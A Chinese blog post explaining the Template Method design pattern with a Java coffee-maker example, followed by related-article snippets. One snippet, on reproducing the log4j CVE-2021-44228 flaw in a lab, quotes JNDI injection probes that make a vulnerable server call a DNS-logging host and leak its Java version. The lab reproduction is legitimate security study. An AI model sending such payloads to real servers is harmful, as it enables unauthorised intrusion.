设计模式: 模板模式

目录

一,模板模式

二,特点

三,组成部分

四,实现步骤

五,案例


一,模板模式

模板模式(Template Pattern)是一种行为型设计模式,它在超类中定义了一个算法的骨架,将一些步骤延迟到子类中实现。模板方法使得子类可以在不改变算法结构的情况下,重新定义算法的某些特定步骤。

二,特点

  1. 算法骨架:在超类中定义了算法的骨架,即算法的整体步骤。

  2. 钩子(Hooks):在模板方法中定义的一些方法,它们在超类中不做具体实现,而是在子类中根据需要重写。

  3. 抽象操作:在模板方法中定义的一些抽象方法,它们在子类中必须被实现。

  4. 具体操作:在模板方法中定义的一些具体方法,它们在超类中已经实现,也可以在子类中被覆盖。

  5. 扩展性:模板模式通过在子类中覆盖钩子和抽象操作,可以很容易地扩展新的功能。

三,组成部分

  • AbstractClass:定义了模板方法和一些抽象操作,以及一个或多个钩子方法。
  • ConcreteClass:继承自AbstractClass,实现模板方法中的抽象操作,也可以覆盖钩子方法。

四,实现步骤

  1. 定义一个抽象类AbstractClass,其中包含模板方法和其他一些操作。
  2. AbstractClass中实现模板方法,调用所有必要的操作。
  3. 定义一个或多个具体操作,这些操作在抽象类中是抽象的,需要在子类中实现。
  4. 定义钩子方法,它们在模板方法中被调用,但在抽象类中不做具体实现。
  5. 创建一个或多个继承自AbstractClass的子类,实现抽象操作,并根据需要覆盖钩子方法。

五,案例

abstract class CafeMaker {public final void makeCoffee(){//模板方法 定义了制作咖啡的步骤putWaterInMachine();putCoffeeBeansInMachine();cook();pourInCup();}protected void cook(){//钩子方法System.out.println("使用机器烹制");}protected abstract void putWaterInMachine();//定义抽象方法protected abstract void putCoffeeBeansInMachine();//定义抽象方法private void pourInCup() {//具体方法System.out.println("将咖啡倒入杯子里");}
}
class EspressoMaker extends CafeMaker{@Overrideprotected void putWaterInMachine() {System.out.println("加入热水");}@Overrideprotected void putCoffeeBeansInMachine() {System.out.println("加入咖啡豆");}
}
class Client {public static void main(String[] args) {CafeMaker maker = new EspressoMaker();maker.makeCoffee();}
}

在这个例子中,CafeMaker 是一个抽象类,它定义了制作咖啡的算法骨架(模板方法 makeCoffee()),同时定义了两个抽象方法 putWaterInMachine()putCoffeeBeansInMachine(),这些方法由具体子类实现。此外,它还包含一个钩子方法 烹制() 和一个具体方法 pourInCup()

EspressoMakerCafeMaker 的具体实现,它继承自 CafeMaker 并提供了 putWaterInMachine()putCoffeeBeansInMachine() 方法的实现。

客户端代码通过创建 EspressoMaker 的实例,并调用 makeCoffee() 方法来制作咖啡。

这个模板模式的例子展示了如何通过定义算法的骨架和推迟某些步骤到子类中实现,来达到代码复用和扩展性的目的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/831301.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Node.js -- mongoose

文章目录 1. 介绍2. mongoose 连接数据库3. 插入文件4. 字段类型5. 字段值验证6. 文档处理6.1 删除文档6.2 更新文档6.3 读取文档 7. 条件控制8. 个性化读取9. 代码模块化 1. 介绍 Mongoose是一个对象文档模型库,官网http://www.mongoosejs.net/ 方便使用代码操作mo…

“Unite“ > MacOS下很不错的网站转应用App的工具

前言 前不久在浏览mac论坛,无意了解到一款非常好的工具,可以将网站转换为app,考虑到我们现在的主要应用都从本地客户端转成web形式使用,但基于本能的使用习惯,还是希望有个快捷的访问信息,这个应用非常适合…

数组删除元素

数组删除元素 1.利用新的数组 将原数组arr的元素,复制到新数组newArr中,复制过程中将要删除的元素,选择不复制 public class Test01{public static void main(String [] args){String [] arr {"zhangsan","lisi","…

C语言——操作符保姆级教学(含整形提升及算数转换)

操作符 一.操作符的分类二.原码、反码、补码三.移位操作符1.左移操作符&#xff1a;<<2.右移操作符&#xff1a;>> 四.位操作符1.按位与—— &2.按位或—— |3.按位异或—— ^4.按位取反—— ~ 五.逗号表达式六.条件操作符七.操作符的属性&#xff1a;优先级、…

408数据结构-树的基本概念与性质 自学知识点整理

树的定义 树是 n n n&#xff08; n ≥ 0 n≥0 n≥0&#xff09;个结点的有限集。当 n 0 n0 n0时&#xff0c;称为空树。 任意一棵非空树应具有以下特性&#xff1a; 有且仅有一个特定的被称为根的结点&#xff08;根结点&#xff09;。当 n &#xff1e; 1 n&#xff1e;1 …

PotatoPie 4.0 实验教程(32) —— FPGA实现摄像头图像浮雕效果

什么是浮雕效果&#xff1f; 浮雕效果是一种图像处理技术&#xff0c;用于将图像转换为看起来像浮雕一样的效果&#xff0c;给人一种凸起或凹陷的立体感觉&#xff0c;下面第二张图就是图像处理实现浮雕效果。 不过这个图是用Adobe公司的PS人工P图实现的&#xff0c;效果比较…

第一课 自动驾驶概述

1. contents 2. 什么是无人驾驶/自动驾驶 3 智慧出行大智慧 4. 无人驾驶的发展历程

Tracecat:开源 SOAR

Tracecat 是一个面向安全团队的开源自动化平台。 开发人员认为&#xff0c;每个人都应该可以使用安全自动化&#xff0c;特别是人手不足的中小型团队。 核心功能、用户界面和日常工作流程基于一流安全团队的现有最佳实践。 使用专门的人工智能模型来标记、总结和丰富警报。 …

Spark RDD的分区与依赖关系

Spark RDD的分区与依赖关系 RDD分区 RDD&#xff0c;Resiliennt Distributed Datasets&#xff0c;弹性式分布式数据集&#xff0c;是由若干个分区构成的&#xff0c;那么这每一个分区中的数据又是如何产生的呢&#xff1f;这就是RDD分区策略所要解决的问题&#xff0c;下面我…

<Linux> 权限

目录 权限人员相对于文件来说的分类更改权限文件的拥有者与所属组 权限 权限是操作系统用来限制对资源访问的机制&#xff0c;权限一般分为读、写、执行。系统中的每个文件都拥有特定的权限、所属用户及所属组&#xff0c;通过这样的机制来限制哪些用户、哪些组可以对特定文件…

VULHUB复现log4j反序列化漏洞-CVE-2021-44228

本地下载vulhub复现就完了&#xff0c;环境搭建不讲&#xff0c;网上其他文章很好。 访问该环境&#xff1a; POC 构造&#xff08;任选其一&#xff09;&#xff1a; ${jndi:ldap://${sys:java.version}.xxx.dnslog.cn} ${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}我是…

双向链表专题

文章目录 目录1. 双向链表的结构2. 双向链表的实现3. 顺序表和双向链表的优缺点分析 目录 双向链表的结构双向链表的实现顺序表和双向链表的优缺点分析 1. 双向链表的结构 注意&#xff1a; 这⾥的“带头”跟前面我们说的“头节点”是两个概念&#xff0c;带头链表里的头节点…

C#描述-计算机视觉OpenCV(3):重映射

C#描述-计算机视觉OpenCV&#xff08;3&#xff09;&#xff1a;重映射 前言色彩波形图像重映射 前言 C#描述-计算机视觉OpenCV&#xff08;1&#xff09;&#xff1a;基础操作 C#描述-计算机视觉OpenCV&#xff08;2&#xff09;&#xff1a;图像处理 在前文中&#xff0c;描…

UI-Diffuser——使用生成性人工智能的UI原型设计

概述。 移动UI是影响参与度的一个重要因素&#xff0c;例如用户对应用的熟悉程度和使用的便利性。如果你有一个类似的应用程序&#xff0c;你可能会选择一个具有现代、好看的设计的应用程序&#xff0c;而不是一个旧的设计。然而&#xff0c;要从头开始研究什么样的UI最适合应…

Java中使用Redis实现分布式锁的三种方式

1. 导语 随着软件开发领域的不断演进,并发性已经成为一个至关重要的方面,特别是在资源跨多个进程共享的分布式系统中。 在Java中,管理并发性对于确保数据一致性和防止竞态条件至关重要。 Redis作为一个强大的内存数据存储,为在Java应用程序中实现分布式锁提供了一种高效的…

静态库、动态库回顾

回顾一下库相关的知识点&#xff0c;总结备忘一下。在某种情况下&#xff0c;你有了如下的代码&#xff0c;结构如下 //pra.h #include <stdio.h> void test_01(); //pra.c #include "pra.h" void test_01() {printf("xxxxxxx----->%s %s()\n",…

typescript类型检查和原始类型

typescript类型检查和原始类型 类型检查 非严格类型是typescript默认的类型检查模式&#xff0c;在该模式下&#xff0c;类型检查的规则相对轻松&#xff0c;不会对undefined和null值做过多的限制&#xff0c;允许将undefined和null值赋给string类型的变量。进行JavaScript代…

【ChatGPT with Date】使用 ChatGPT 时显示消息时间的插件

文章目录 1. 介绍2. 使用方法2.1 安装 Tampermonkey2.2 安装脚本2.3 使用 3. 配置3.1 时间格式3.2 时间位置 4. 反馈5. 未来计划6. 开源协议7. 供给开发者自定义修改脚本的文档7.1 项目组织架构7.2 定义新的 Component(1) 定义一个新的 Component 类(2) 注册该 Component 7.3 一…

ICode国际青少年编程竞赛- Python-1级训练场-基本操作

ICode国际青少年编程竞赛- Python-1级训练场-基本操作 1、 Dev.step(3)2、 Dev.step(1)3、 Dev.step(7)4、 Dev.step(-1)5、 Dev.step(-5)6、 Dev.step(3) Dev.step(-8)7、 Dev.turnRight() Dev.step(1)8、 Dev.turnLeft() Dev.step(1)9、 Dev.step(4) Dev.tur…

自动找出字符串中有符号数字

需求 代码 class Solution:def myAtoi(self, s: str) -> int:s s.strip() # 删除首尾空格if not s: return 0 # 字符串为空则直接返回res, i, sign 0, 1, 1int_max, int_min, bndry 2 ** 31 - 1, -2 ** 31, 2 ** 31 // 10if s[0…